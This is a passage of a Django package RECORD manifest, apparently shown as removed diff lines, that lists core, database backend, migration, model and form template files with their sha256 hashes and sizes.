-django/core/management/commands/squashmigrations.py,sha256=tab7zNB9asV-Dz_EaV8_DO8OLOc1oNnD5XcdGYHQr00,10882 -django/core/management/commands/startapp.py,sha256=Dhllhaf1q3EKVnyBLhJ9QsWf6JmjAtYnVLruHsmMlcQ,503 -django/core/management/commands/startproject.py,sha256=Iv7KOco1GkzGqUEME_LCx5vGi4JfY8-lzdkazDqF7k8,789 -django/core/management/commands/test.py,sha256=UXxsInhGqrcsMMiHk6uBvAwMMzCZDwJl5_Ql3L6lkx8,2367 -django/core/management/commands/testserver.py,sha256=aiS0tCe6uXp9hjcE1LUfZ118xAcMa28ImHL4ynQSqO8,2238 -django/core/management/sql.py,sha256=fP6Bvq4NrQB_9Tb6XsYeCg57xs2Ck6uaCXq0ojFOSvA,1851 -django/core/management/templates.py,sha256=vmddJ9owkojUvVjQliTx7yY3CO_hcBfy_YhIdQGSdTo,15435 -django/core/management/utils.py,sha256=3UGXgrDi5HwUQGU1i5wQiGHBF-kt8yJ0uGyFmu5mGKE,5636 -django/core/paginator.py,sha256=YFR2EE0W2cLhEuXSWI67c33DreVVSxlz9xRjqGs50zc,7905 -django/core/serializers/__init__.py,sha256=gaH58ip_2dyUFDlfOPenMkVJftQQOBvXqCcZBjAKwTA,8772 -django/core/serializers/__pycache__/__init__.cpython-311.pyc,, -django/core/serializers/__pycache__/base.cpython-311.pyc,, -django/core/serializers/__pycache__/json.cpython-311.pyc,, -django/core/serializers/__pycache__/jsonl.cpython-311.pyc,, -django/core/serializers/__pycache__/python.cpython-311.pyc,, -django/core/serializers/__pycache__/pyyaml.cpython-311.pyc,, -django/core/serializers/__pycache__/xml_serializer.cpython-311.pyc,, -django/core/serializers/base.py,sha256=6LnbPCb4wbDYsE3svEztt2AlS5hZx3NmIdM_0uRijh0,12631 -django/core/serializers/json.py,sha256=AB24RCDiQpooon37EkJLlf0mczzjvM0b1oCcBDtPeVE,3757 -django/core/serializers/jsonl.py,sha256=iW5uUBdeZpkgER4foGhpvrk246l0Q_oQD4rhV1Qwyyo,2258 -django/core/serializers/python.py,sha256=Tr5RYdiy3CgMnT1voVSlvLujOZObeEehUXfwHWPVsyg,8094 -django/core/serializers/pyyaml.py,sha256=RxM3tyX-9IcueeSb-lwUsK7H0Heq7e1kyQU0QfrP21c,3061 -django/core/serializers/xml_serializer.py,sha256=ceGm66IeqC2kM_XC786_jwn0Nwl4j7Uv0i_SJxTib7Y,18556 -django/core/servers/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/core/servers/__pycache__/__init__.cpython-311.pyc,, -django/core/servers/__pycache__/basehttp.cpython-311.pyc,, -django/core/servers/basehttp.py,sha256=0XtDP4SDBGovGKe6oXBba6-qgBJK2lw1umB8RXSOtUo,9995 -django/core/signals.py,sha256=5vh1e7IgPN78WXPo7-hEMPN9tQcqJSZHu0WCibNgd-E,151 -django/core/signing.py,sha256=5-uDACJ8WxTJmwfwPoXRIO4nSr2v4032aTVwPaPLxWA,8772 -django/core/validators.py,sha256=02XDCZs1rm75CoVjj9lFnrgFlHGgDMGKoKrVeMOlnsk,22484 -django/core/wsgi.py,sha256=2sYMSe3IBrENeQT7rys-04CRmf8hW2Q2CjlkBUIyjHk,388 -django/db/__init__.py,sha256=CBuehITrkVMn02P63M0GY1MnZuC0GefA1MAoxlVo3b4,1533 -django/db/__pycache__/__init__.cpython-311.pyc,, -django/db/__pycache__/transaction.cpython-311.pyc,, -django/db/__pycache__/utils.cpython-311.pyc,, -django/db/backends/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/db/backends/__pycache__/__init__.cpython-311.pyc,, -django/db/backends/__pycache__/ddl_references.cpython-311.pyc,, -django/db/backends/__pycache__/signals.cpython-311.pyc,, -django/db/backends/__pycache__/utils.cpython-311.pyc,, -django/db/backends/base/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/db/backends/base/__pycache__/__init__.cpython-311.pyc,, -django/db/backends/base/__pycache__/base.cpython-311.pyc,, -django/db/backends/base/__pycache__/client.cpython-311.pyc,, -django/db/backends/base/__pycache__/creation.cpython-311.pyc,, -django/db/backends/base/__pycache__/features.cpython-311.pyc,, -django/db/backends/base/__pycache__/introspection.cpython-311.pyc,, -django/db/backends/base/__pycache__/operations.cpython-311.pyc,, -django/db/backends/base/__pycache__/schema.cpython-311.pyc,, -django/db/backends/base/__pycache__/validation.cpython-311.pyc,, -django/db/backends/base/base.py,sha256=EggBYM3OZwXKWnYjTad61X0SgezvOC60ucxDF69qNSU,28598 -django/db/backends/base/client.py,sha256=90Ffs6zZYCli3tJjwsPH8TItZ8tz1Pp-zhQa-EpsNqc,937 -django/db/backends/base/creation.py,sha256=AFQL_xz48jYzZTdHl3r3d_2v_xGyJMMENXmEUcbRv48,15847 -django/db/backends/base/features.py,sha256=41SfTvfaFnagiGEpHQ9Rk6XswCKzVtoeUMDFa9XFekk,15946 -django/db/backends/base/introspection.py,sha256=CJG3MUmR-wJpNm-gNWuMRMNknWp3ZdZ9DRUbKxcnwuo,7900 -django/db/backends/base/operations.py,sha256=oBBjIbP6ZD8_mYGN7RHCBO3pmoSNZOYDGzRAr0hTJq4,30169 -django/db/backends/base/schema.py,sha256=ytvviES5kN8GnvqOWpqDoR4O5VDF_klcQ79iKDnwYAQ,82323 -django/db/backends/base/validation.py,sha256=2zpI11hyUJr0I0cA1xmvoFwQVdZ-7_1T2F11TpQ0Rkk,1067 -django/db/backends/ddl_references.py,sha256=dUlkGLGdjOnacR_8PaweA5XSwgD8wojMTJUVOCOKVLY,8619 -django/db/backends/dummy/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/db/backends/dummy/__pycache__/__init__.cpython-311.pyc,, -django/db/backends/dummy/__pycache__/base.cpython-311.pyc,, -django/db/backends/dummy/__pycache__/features.cpython-311.pyc,, -django/db/backends/dummy/base.py,sha256=keUxD7V-XsfD8b1zcbkP-vQgy7NbIJOePd810QRyJM4,2217 -django/db/backends/dummy/features.py,sha256=Pg8_jND-aoJomTaBBXU3hJEjzpB-rLs6VwpoKkOYuQg,181 -django/db/backends/mysql/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/db/backends/mysql/__pycache__/__init__.cpython-311.pyc,, -django/db/backends/mysql/__pycache__/base.cpython-311.pyc,, -django/db/backends/mysql/__pycache__/client.cpython-311.pyc,, -django/db/backends/mysql/__pycache__/compiler.cpython-311.pyc,, -django/db/backends/mysql/__pycache__/creation.cpython-311.pyc,, -django/db/backends/mysql/__pycache__/features.cpython-311.pyc,, -django/db/backends/mysql/__pycache__/introspection.cpython-311.pyc,, -django/db/backends/mysql/__pycache__/operations.cpython-311.pyc,, -django/db/backends/mysql/__pycache__/schema.cpython-311.pyc,, -django/db/backends/mysql/__pycache__/validation.cpython-311.pyc,, -django/db/backends/mysql/base.py,sha256=mYH0HTP9VD0ImztdiW5fGfnaFr4LzAqDx0FtGsAJ25Y,16864 -django/db/backends/mysql/client.py,sha256=IpwdI-H5r-QUoM8ZvPXHykNxKb2wevcUx8HvxTn_otU,2988 -django/db/backends/mysql/compiler.py,sha256=oX6DtScmxnIX2NsIZeRmD28Q3uC-wYiwYAevuuMxwHE,3094 -django/db/backends/mysql/creation.py,sha256=8BV8YHk3qEq555nH3NHukxpZZgxtvXFvkv7XvkRlhKA,3449 -django/db/backends/mysql/features.py,sha256=3Aab0KO-WrAlHDhjluD6GfLoy8wXIhGY5AnoZHKGCnA,11128 -django/db/backends/mysql/introspection.py,sha256=AY06ZLynWypYTEGAsR-t4F9Uj7Fb0Hqi-QNW1YwRnEQ,14498 -django/db/backends/mysql/operations.py,sha256=3gyu66ZsaMl3cPUvauwcxd5f4ny3qy77oRajDMcwstk,18330 -django/db/backends/mysql/schema.py,sha256=6jSaORTUarIukP5myMw6QSVaqzCyKIRrKVYncBnjNZY,11239 -django/db/backends/mysql/validation.py,sha256=XERj0lPEihKThPvzoVJmNpWdPOun64cRF3gHv-zmCGk,3093 -django/db/backends/oracle/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/db/backends/oracle/__pycache__/__init__.cpython-311.pyc,, -django/db/backends/oracle/__pycache__/base.cpython-311.pyc,, -django/db/backends/oracle/__pycache__/client.cpython-311.pyc,, -django/db/backends/oracle/__pycache__/creation.cpython-311.pyc,, -django/db/backends/oracle/__pycache__/features.cpython-311.pyc,, -django/db/backends/oracle/__pycache__/functions.cpython-311.pyc,, -django/db/backends/oracle/__pycache__/introspection.cpython-311.pyc,, -django/db/backends/oracle/__pycache__/operations.cpython-311.pyc,, -django/db/backends/oracle/__pycache__/oracledb_any.cpython-311.pyc,, -django/db/backends/oracle/__pycache__/schema.cpython-311.pyc,, -django/db/backends/oracle/__pycache__/utils.cpython-311.pyc,, -django/db/backends/oracle/__pycache__/validation.cpython-311.pyc,, -django/db/backends/oracle/base.py,sha256=WjSulNsQlbCE8IA0VpC7Njl_uW1_20CYJ2bAbjfUqLk,26107 -django/db/backends/oracle/client.py,sha256=DfDURfno8Sek13M8r5S2t2T8VUutx2hBT9DZRfow9VQ,784 -django/db/backends/oracle/creation.py,sha256=-JsWjyVV_VCNnUf1QJYXIsfXnEmnVwzhdZxq22loUY4,20986 -django/db/backends/oracle/features.py,sha256=RuJNQKg1dpxn95Ze8134vBiUi3KYybbyT8nQ68AGTNM,9336 -django/db/backends/oracle/functions.py,sha256=2OoBYyY1Lb4B5hYbkRHjd8YY_artr3QeGu2hlojC-vc,812 -django/db/backends/oracle/introspection.py,sha256=MjjO-PqpcfiUd9WkLqiC8XGgbC4gocvymqQ1bh-ceKk,15474 -django/db/backends/oracle/operations.py,sha256=n6Y4XMSbF0WHwsshhpFh6l652bG-8ZY3XTce8EpHHIc,30189 -django/db/backends/oracle/oracledb_any.py,sha256=khvvdziN8LPa6r0QjZwty2YMcGXLCIZKU8iuIsPyjDI,446 -django/db/backends/oracle/schema.py,sha256=iGTXfEIYtiMAq0y8LH80CnpEFmnLo6JMHaWTJBu5kEw,10753 -django/db/backends/oracle/utils.py,sha256=C9gumfPZAToaBg3HgsUoH5EU-_goM8ZrL_7VI5yw098,2753 -django/db/backends/oracle/validation.py,sha256=cq-Bvy5C0_rmkgng0SSQ4s74FKg2yTM1N782Gfz86nY,860 -django/db/backends/postgresql/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/db/backends/postgresql/__pycache__/__init__.cpython-311.pyc,, -django/db/backends/postgresql/__pycache__/base.cpython-311.pyc,, -django/db/backends/postgresql/__pycache__/client.cpython-311.pyc,, -django/db/backends/postgresql/__pycache__/compiler.cpython-311.pyc,, -django/db/backends/postgresql/__pycache__/creation.cpython-311.pyc,, -django/db/backends/postgresql/__pycache__/features.cpython-311.pyc,, -django/db/backends/postgresql/__pycache__/introspection.cpython-311.pyc,, -django/db/backends/postgresql/__pycache__/operations.cpython-311.pyc,, -django/db/backends/postgresql/__pycache__/psycopg_any.cpython-311.pyc,, -django/db/backends/postgresql/__pycache__/schema.cpython-311.pyc,, -django/db/backends/postgresql/base.py,sha256=1ztHLo0_MVteU_WoEOXoDWoDEDBfpmjHoNDzRQOKr6c,23486 -django/db/backends/postgresql/client.py,sha256=BxpiOYe2hzg4tWjPKHDJxa8zdr6S7CN9YiaOhTDJUOo,2044 -django/db/backends/postgresql/compiler.py,sha256=tu0fd3nkxeFMYTPjHI0gUsi3OX2Bnsu9N-d_hBA7Ukc,1991 -django/db/backends/postgresql/creation.py,sha256=pZYCzq893jcMd8jhnUH2suBaOC9LrkTtpBn9gdpqxTY,3886 -django/db/backends/postgresql/features.py,sha256=UqvBWre25wrie-z47GaOLwVc6P74_iIMSbxzSqGNJ2A,5979 -django/db/backends/postgresql/introspection.py,sha256=0j4Y5ZAuSk8iaMbDBjUF9zHTcL3C5WibIiJygOvZMP8,11604 -django/db/backends/postgresql/operations.py,sha256=Ht2ZWPD7p-cp2do4to-XnvV4LM-9SyTubMz6DqwU4TI,15940 -django/db/backends/postgresql/psycopg_any.py,sha256=X2aU-MHfDNbXaKT2-2VC3mhiAVxYth_uMJPKoAPLsKQ,3885 -django/db/backends/postgresql/schema.py,sha256=N-c5Q2EXuTdYoelNXDnkQ8apFcpYT6YFRdhnh5pFBYU,14749 -django/db/backends/signals.py,sha256=Yl14KjYJijTt1ypIZirp90lS7UTJ8UogPFI_DwbcsSc,66 -django/db/backends/sqlite3/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/db/backends/sqlite3/__pycache__/__init__.cpython-311.pyc,, -django/db/backends/sqlite3/__pycache__/_functions.cpython-311.pyc,, -django/db/backends/sqlite3/__pycache__/base.cpython-311.pyc,, -django/db/backends/sqlite3/__pycache__/client.cpython-311.pyc,, -django/db/backends/sqlite3/__pycache__/creation.cpython-311.pyc,, -django/db/backends/sqlite3/__pycache__/features.cpython-311.pyc,, -django/db/backends/sqlite3/__pycache__/introspection.cpython-311.pyc,, -django/db/backends/sqlite3/__pycache__/operations.cpython-311.pyc,, -django/db/backends/sqlite3/__pycache__/schema.cpython-311.pyc,, -django/db/backends/sqlite3/_functions.py,sha256=4rwADvq4dJu8EAzUXPnrmN_lDcfg_Xf0w7DRHgj8faw,14559 -django/db/backends/sqlite3/base.py,sha256=SN7kSxlsfQ41MMWqleg_gmZh6mYaysZ6Tr7WO0nRQ5w,15131 -django/db/backends/sqlite3/client.py,sha256=Eb_-P1w0aTbZGVNYkv7KA1ku5Il1N2RQov2lc3v0nho,321 -django/db/backends/sqlite3/creation.py,sha256=Ib9pfwA53G4wZpLZgh7EvdipoSdvhg-wxKSP2ZowwFM,6849 -django/db/backends/sqlite3/features.py,sha256=VMCklIHmYKfzhtVbGKpySLrvalo9G1BorCcXPp7bHVQ,6533 -django/db/backends/sqlite3/introspection.py,sha256=_a4OssVW3oOqP-xKWydpyTScxc2FVIDc5pDFHeN8Uj0,17930 -django/db/backends/sqlite3/operations.py,sha256=XTcIjTJFK-PNDgmWUh6gxt5As8jKz6dLUNTW0DSPlUw,17167 -django/db/backends/sqlite3/schema.py,sha256=ljCADvyT_KhNC5bQ413v4cf6I9-n1i7T3853CyrLbYw,20749 -django/db/backends/utils.py,sha256=wFyQVfVs1AxR48yQIVQ-ll1sC9GUeCxdP-aavYL0lrs,11137 -django/db/migrations/__init__.py,sha256=Oa4RvfEa6hITCqdcqwXYC66YknFKyluuy7vtNbSc-L4,97 -django/db/migrations/__pycache__/__init__.cpython-311.pyc,, -django/db/migrations/__pycache__/autodetector.cpython-311.pyc,, -django/db/migrations/__pycache__/exceptions.cpython-311.pyc,, -django/db/migrations/__pycache__/executor.cpython-311.pyc,, -django/db/migrations/__pycache__/graph.cpython-311.pyc,, -django/db/migrations/__pycache__/loader.cpython-311.pyc,, -django/db/migrations/__pycache__/migration.cpython-311.pyc,, -django/db/migrations/__pycache__/optimizer.cpython-311.pyc,, -django/db/migrations/__pycache__/questioner.cpython-311.pyc,, -django/db/migrations/__pycache__/recorder.cpython-311.pyc,, -django/db/migrations/__pycache__/serializer.cpython-311.pyc,, -django/db/migrations/__pycache__/state.cpython-311.pyc,, -django/db/migrations/__pycache__/utils.cpython-311.pyc,, -django/db/migrations/__pycache__/writer.cpython-311.pyc,, -django/db/migrations/autodetector.py,sha256=jeKHhbdpHZ4tGOdID9RLFlf2LCiz7FwRC8JLvO-F9h4,86243 -django/db/migrations/exceptions.py,sha256=SotQF7ZKgJpd9KN-gKDL8wCJAKSEgbZToM_vtUAnqHw,1204 -django/db/migrations/executor.py,sha256=jx9J5WdS0X48UqxHkWKd2JYBUxds46Gn03ZZNAo8pTE,19038 -django/db/migrations/graph.py,sha256=vt7Pc45LuiXR8aRCrXP5Umm6VDCCTs2LAr5NXh-rxcE,13055 -django/db/migrations/loader.py,sha256=cVeJi7PwDc2Nxzgg3K_CrhK9H2HAtaXb1tG1PyDcSEA,16877 -django/db/migrations/migration.py,sha256=itZASGGepJYCY2Uv5AmLrxOgjEH1tycGV0bv3EtRjQE,9767 -django/db/migrations/operations/__init__.py,sha256=ZaABCS7A48o90bDjqtTt3ceZFwxpmnx2p1W5Qf_jsKM,1008 -django/db/migrations/operations/__pycache__/__init__.cpython-311.pyc,, -django/db/migrations/operations/__pycache__/base.cpython-311.pyc,, -django/db/migrations/operations/__pycache__/fields.cpython-311.pyc,, -django/db/migrations/operations/__pycache__/models.cpython-311.pyc,, -django/db/migrations/operations/__pycache__/special.cpython-311.pyc,, -django/db/migrations/operations/base.py,sha256=IPBwWk-8j44IZw6FvXC9RVXqecbF0OhK-R_LMYwhNd4,5562 -django/db/migrations/operations/fields.py,sha256=OAGpT0youYLL7LcxcpO-N5fhzGlx0r_wK1ZitM7qmAE,12900 -django/db/migrations/operations/models.py,sha256=Q9JCI3tIHjLQnGMe5pg1ZSMBwmc3PISOI-MyTtV20IU,47864 -django/db/migrations/operations/special.py,sha256=CMLfqR4rO8AhDMNscOXjblKuvNA3vWFzg-6M_7xZnX4,7966 -django/db/migrations/optimizer.py,sha256=c0JZ5FGltD_gmh20e5SR6A21q_De6rUKfkAJKwmX4Ks,3255 -django/db/migrations/questioner.py,sha256=BsQQyBDJIoMzza7d4jdxMsZeV0p4a22P5MlC0i5e3mM,13568 -django/db/migrations/recorder.py,sha256=HviA3DydJPqpE8gowv1lAnIdLMTSRpRXuLFn53r-Q1Y,3827 -django/db/migrations/serializer.py,sha256=oPznMQhNezYzUb-R1U79iIAp4DtZocFvjK--B0Bbyv4,14133 -django/db/migrations/state.py,sha256=HUZqL5U64dqkwfVZBDXd0v6Vn8mka92BMdLkCRAB7Jg,41924 -django/db/migrations/utils.py,sha256=pdrzumGDhgytc5KVWdZov7cQtBt3jRASLqbmBxSRSvg,4401 -django/db/migrations/writer.py,sha256=OWRUgtTrBLndIUeNxL3-6gI5ORPdIWG_Jy9Iluizs0M,11613 -django/db/models/__init__.py,sha256=ikjLHt8fOsj60DMX1Q9knCULL6zaZNuVLPlaP93afao,3085 -django/db/models/__pycache__/__init__.cpython-311.pyc,, -django/db/models/__pycache__/aggregates.cpython-311.pyc,, -django/db/models/__pycache__/base.cpython-311.pyc,, -django/db/models/__pycache__/constants.cpython-311.pyc,, -django/db/models/__pycache__/constraints.cpython-311.pyc,, -django/db/models/__pycache__/deletion.cpython-311.pyc,, -django/db/models/__pycache__/enums.cpython-311.pyc,, -django/db/models/__pycache__/expressions.cpython-311.pyc,, -django/db/models/__pycache__/indexes.cpython-311.pyc,, -django/db/models/__pycache__/lookups.cpython-311.pyc,, -django/db/models/__pycache__/manager.cpython-311.pyc,, -django/db/models/__pycache__/options.cpython-311.pyc,, -django/db/models/__pycache__/query.cpython-311.pyc,, -django/db/models/__pycache__/query_utils.cpython-311.pyc,, -django/db/models/__pycache__/signals.cpython-311.pyc,, -django/db/models/__pycache__/utils.cpython-311.pyc,, -django/db/models/aggregates.py,sha256=SpORbuN9OM3bsUSAjOFBslsOcrEc2r2BojchZLfmfto,8340 -django/db/models/base.py,sha256=ow3WrapGVzXW2YicJgjMqZa4wVCSm0WDwrcBTyzx3sM,100950 -django/db/models/constants.py,sha256=ndnj9TOTKW0p4YcIPLOLEbsH6mOgFi6B1-rIzr_iwwU,210 -django/db/models/constraints.py,sha256=MvW_ssFwG-VkHv_WOIZWXxXqAyddxt6KRPuInbZFbPk,29733 -django/db/models/deletion.py,sha256=RcsL4nRQcZLYIg8AMjN6uXFuRSVtswMEJYa3wRkYuYM,20943 -django/db/models/enums.py,sha256=mgBBX7bFzuPYgkPR9hvy4FZOtbZE5gfbhHWsvrIhONQ,3527 -django/db/models/expressions.py,sha256=vwpECa59AhJ2irzQ306o-Z2amPWxVsa_usBqahTEODM,73717 -django/db/models/fields/__init__.py,sha256=KLDa5Kz0_AIX0QBI6MOH9QRnjnchfmLuiBNcfxPOMpw,98730 -django/db/models/fields/__pycache__/__init__.cpython-311.pyc,, -django/db/models/fields/__pycache__/composite.cpython-311.pyc,, -django/db/models/fields/__pycache__/files.cpython-311.pyc,, -django/db/models/fields/__pycache__/generated.cpython-311.pyc,, -django/db/models/fields/__pycache__/json.cpython-311.pyc,, -django/db/models/fields/__pycache__/mixins.cpython-311.pyc,, -django/db/models/fields/__pycache__/proxy.cpython-311.pyc,, -django/db/models/fields/__pycache__/related.cpython-311.pyc,, -django/db/models/fields/__pycache__/related_descriptors.cpython-311.pyc,, -django/db/models/fields/__pycache__/related_lookups.cpython-311.pyc,, -django/db/models/fields/__pycache__/reverse_related.cpython-311.pyc,, -django/db/models/fields/__pycache__/tuple_lookups.cpython-311.pyc,, -django/db/models/fields/composite.py,sha256=SfCqHlM9VF5t8uQvcwLd8yDT3cRuQs3enAa6uhKr1xI,5731 -django/db/models/fields/files.py,sha256=nLiRiY9bcVEwE8s5J6yxo2HqN3HreDHPDNHfaW3qLrs,20206 -django/db/models/fields/generated.py,sha256=hzCBUpS1fvoimEI_D7WtoLk6AryGw0TRdyk-UkYBDJE,7655 -django/db/models/fields/json.py,sha256=vgNOlxOrTamKle_irilf8Oj1eGMADDDtT6rdat5ljGM,23893 -django/db/models/fields/mixins.py,sha256=8HrdKIq0eG9vVstJwkK-2g2wdwyvcEVWBzP3S0hzeWY,2478 -django/db/models/fields/proxy.py,sha256=eFHyl4gRTqocjgd6nID9UlQuOIppBA57Vcr71UReTAs,515 -django/db/models/fields/related.py,sha256=MkYgvgKGgiXdUT3-f6atxdSBbv8WALk-VTpTtP4sUeI,79037 -django/db/models/fields/related_descriptors.py,sha256=6nc3iqXo3NS30dSK-H39oweMXSFwpNOVFQTb4GEqON4,66627 -django/db/models/fields/related_lookups.py,sha256=bcwLH0tflmcx2168veYOUDVZ31u7-UFtETUG91BddeE,6076 -django/db/models/fields/reverse_related.py,sha256=EAiX26xVCrTcGj_OjBC_e6sjEXE4-FyVxnESECO8jvc,12908 -django/db/models/fields/tuple_lookups.py,sha256=G40HYM_DJanX_nYHu20dNED0jpJbWGaOBmFOXqFlBXU,13501 -django/db/models/functions/__init__.py,sha256=jz3DukwiIczpJJpajmwLTIJdi-DQfHxYKLMh0D08X3g,2714 -django/db/models/functions/__pycache__/__init__.cpython-311.pyc,, -django/db/models/functions/__pycache__/comparison.cpython-311.pyc,, -django/db/models/functions/__pycache__/datetime.cpython-311.pyc,, -django/db/models/functions/__pycache__/json.cpython-311.pyc,, -django/db/models/functions/__pycache__/math.cpython-311.pyc,, -django/db/models/functions/__pycache__/mixins.cpython-311.pyc,, -django/db/models/functions/__pycache__/text.cpython-311.pyc,, -django/db/models/functions/__pycache__/window.cpython-311.pyc,, -django/db/models/functions/comparison.py,sha256=ampNkaAtm6Ux2iEU9sT3wumbdB39R6Aa9TNIE8F2fxQ,6810 -django/db/models/functions/datetime.py,sha256=IxDj0X1IUkzbIFbyDmjQZ0PL7eIO2rMn1kU47JlSl1E,13614 -django/db/models/functions/json.py,sha256=RPRvMqCcXDMtIoK7rw2mHbdq4Ay3Z5sXRzQoj-k491I,4668 -django/db/models/functions/math.py,sha256=NugCfaC8Y_VhpEr62HMeDX3O934NnuBPsk3mi5I_DmE,6140 -django/db/models/functions/mixins.py,sha256=UqpHYyF33JSEWYdggezTtWkrMkPKFEfW6enIkujzgaQ,2382 -django/db/models/functions/text.py,sha256=aBnl-5-l3qw8wa7hFIOcHCoUOLGtlk6SFFY4PYZGMtU,11528 -django/db/models/functions/window.py,sha256=g4fryay1tLQCpZRfmPQhrTiuib4RvPqtwFdodlLbi98,2841 -django/db/models/indexes.py,sha256=HYCD06Is7-f0aIGkXdWNeEXzfBoSY6ECNCiVbe8tlwk,11935 -django/db/models/lookups.py,sha256=tefhdR_HrvYF3IPnXVxUKLprQLwXzXPaTrvdxIkK1U4,29048 -django/db/models/manager.py,sha256=n97p4q0ttwmI1XcF9dAl8Pfg5Zs8iudufhWebQ7Xau0,6866 -django/db/models/options.py,sha256=xQFZqckdo9SHdoc86cYvW-nWSAQqjyGDeSerBxVNelk,39469 -django/db/models/query.py,sha256=o01bAcsdXMsDFiYeAOYwiKz8QfzAXfl2yDpNBObDRBs,106002 -django/db/models/query_utils.py,sha256=QvLLPS18f6ZJEx53FAfvur4JAX5yElFlD1Tr6HpekCk,17545 -django/db/models/signals.py,sha256=mG6hxVWugr_m0ugTU2XAEMiqlu2FJ4CBuGa34dLJvEQ,1622 -django/db/models/sql/__init__.py,sha256=BGZ1GSn03dTOO8PYx6vF1-ImE3g1keZsQ74AHJoQwmQ,241 -django/db/models/sql/__pycache__/__init__.cpython-311.pyc,, -django/db/models/sql/__pycache__/compiler.cpython-311.pyc,, -django/db/models/sql/__pycache__/constants.cpython-311.pyc,, -django/db/models/sql/__pycache__/datastructures.cpython-311.pyc,, -django/db/models/sql/__pycache__/query.cpython-311.pyc,, -django/db/models/sql/__pycache__/subqueries.cpython-311.pyc,, -django/db/models/sql/__pycache__/where.cpython-311.pyc,, -django/db/models/sql/compiler.py,sha256=DHB99snY2VyMTf0L9AKq7fJgR6zHKJVpMJzrU7BsOBQ,92397 -django/db/models/sql/constants.py,sha256=xXZKLd59Od-A3hI3X6iDmIBq1Ry0R9Ckta-TLFY3GNg,599 -django/db/models/sql/datastructures.py,sha256=tDcVdWqVZgpzcMgEVBVBNyR21-UCoV2bd6o0AkgeUGs,8271 -django/db/models/sql/query.py,sha256=2Sir-LxyPqOuruytA7lHda7lxy6SaFsABqw5_5rv1q0,119129 -django/db/models/sql/subqueries.py,sha256=q7NFOnsEUtE5dW5IkD9-IxS5qfQf2dL3XmB-1fQOqhA,6150 -django/db/models/sql/where.py,sha256=QHcEVXpToaQBcN1A1gWrKl9xtYBALIXheyxeI0O2iLg,12317 -django/db/models/utils.py,sha256=vzojL0uUQHuOm2KxTJ19DHGnQ1pBXbnWaTlzR0vVimI,2182 -django/db/transaction.py,sha256=whcgZIBEnVNaPrxdxevhjs3K16KWN6yJAnIXNP8-uLw,12506 -django/db/utils.py,sha256=RKtSSyVJmM5__SAs1pY0njX6hLVRy1WIBggYo1zP4RI,9279 -django/dispatch/__init__.py,sha256=qP203zNwjaolUFnXLNZHnuBn7HNzyw9_JkODECRKZbc,286 -django/dispatch/__pycache__/__init__.cpython-311.pyc,, -django/dispatch/__pycache__/dispatcher.cpython-311.pyc,, -django/dispatch/dispatcher.py,sha256=OHaB-_kl1GeVwKh_bIMbHNFmH2yVN4qfSQz2aAVXfME,17777 -django/dispatch/license.txt,sha256=VABMS2BpZOvBY68W0EYHwW5Cj4p4oCb-y1P3DAn0qU8,1743 -django/forms/__init__.py,sha256=S6ckOMmvUX-vVST6AC-M8BzsfVQwuEUAdHWabMN-OGI,368 -django/forms/__pycache__/__init__.cpython-311.pyc,, -django/forms/__pycache__/boundfield.cpython-311.pyc,, -django/forms/__pycache__/fields.cpython-311.pyc,, -django/forms/__pycache__/forms.cpython-311.pyc,, -django/forms/__pycache__/formsets.cpython-311.pyc,, -django/forms/__pycache__/models.cpython-311.pyc,, -django/forms/__pycache__/renderers.cpython-311.pyc,, -django/forms/__pycache__/utils.cpython-311.pyc,, -django/forms/__pycache__/widgets.cpython-311.pyc,, -django/forms/boundfield.py,sha256=K28bu_Gs8LsYxVZVmQdftuAME-Zqkw_yAIsKrXmLR48,13271 -django/forms/fields.py,sha256=yU9NRyGU_IXSEBbFRIteWatYU-WN5zCQEpQPYUWRI4o,49982 -django/forms/forms.py,sha256=2Y2NhbwY2cQiz8zSxdfjO5JO_jZVo8Yn9H2OMYisSXo,16132 -django/forms/formsets.py,sha256=X4otFCXoQgIEII2bTnprrEu4cHC-bpQ9t18Pth8p9MM,21338 -django/forms/jinja2/django/forms/attrs.html,sha256=TD0lNK-ohDjb_bWg1Kosdn4kU01B_M0_C19dp9kYJqo,165 -django/forms/jinja2/django/forms/div.html,sha256=WaOqY1hQe1l6vnc3TdlBmQnQRsofIoNDvGAfg2-X1lU,514 -django/forms/jinja2/django/forms/errors/dict/default.html,sha256=1DLQf0Czjr5V4cghQOyJr3v34G2ClF0RAOc-H7GwXUE,49 -django/forms/jinja2/django/forms/errors/dict/text.txt,sha256=E7eqEWc6q2_kLyc9k926klRe2mPp4O2VqG-2_MliYaU,113 -django/forms/jinja2/django/forms/errors/dict/ul.html,sha256=65EYJOqDAn7-ca7FtjrcdbXygLE-RA_IJQTltO7qS1Q,137 -django/forms/jinja2/django/forms/errors/list/default.html,sha256=q41d4u6XcxDL06gRAVdU021kM_iFLIt5BuYa-HATOWE,49 -django/forms/jinja2/django/forms/errors/list/text.txt,sha256=VVbLrGMHcbs1hK9-2v2Y6SIoH9qRMtlKzM6qzLVAFyE,52 -django/forms/jinja2/django/forms/errors/list/ul.html,sha256=vK5_FeE7w5XBIW2GUlJinteEsMIo0-5rZ3dtV-8LGNg,187 -django/forms/jinja2/django/forms/field.html,sha256=IfeDkBp7yHZDnyD-jVwehX1G15wvfbTkxHkjpUC_dcc,507 -django/forms/jinja2/django/forms/formsets/div.html,sha256=uq10XZdQ1WSt6kJFoKxtluvnCKE4L3oYcLkPraF4ovs,86 -django/forms/jinja2/django/forms/formsets/p.html,sha256=HzEX7XdSDt9owDkYJvBdFIETeU9RDbXc1e4R2YEt6ec,84 -django/forms/jinja2/django/forms/formsets/table.html,sha256=L9B4E8lR0roTr7dBoMiUlekuMbO-3y4_b4NHm6Oy_Vg,88 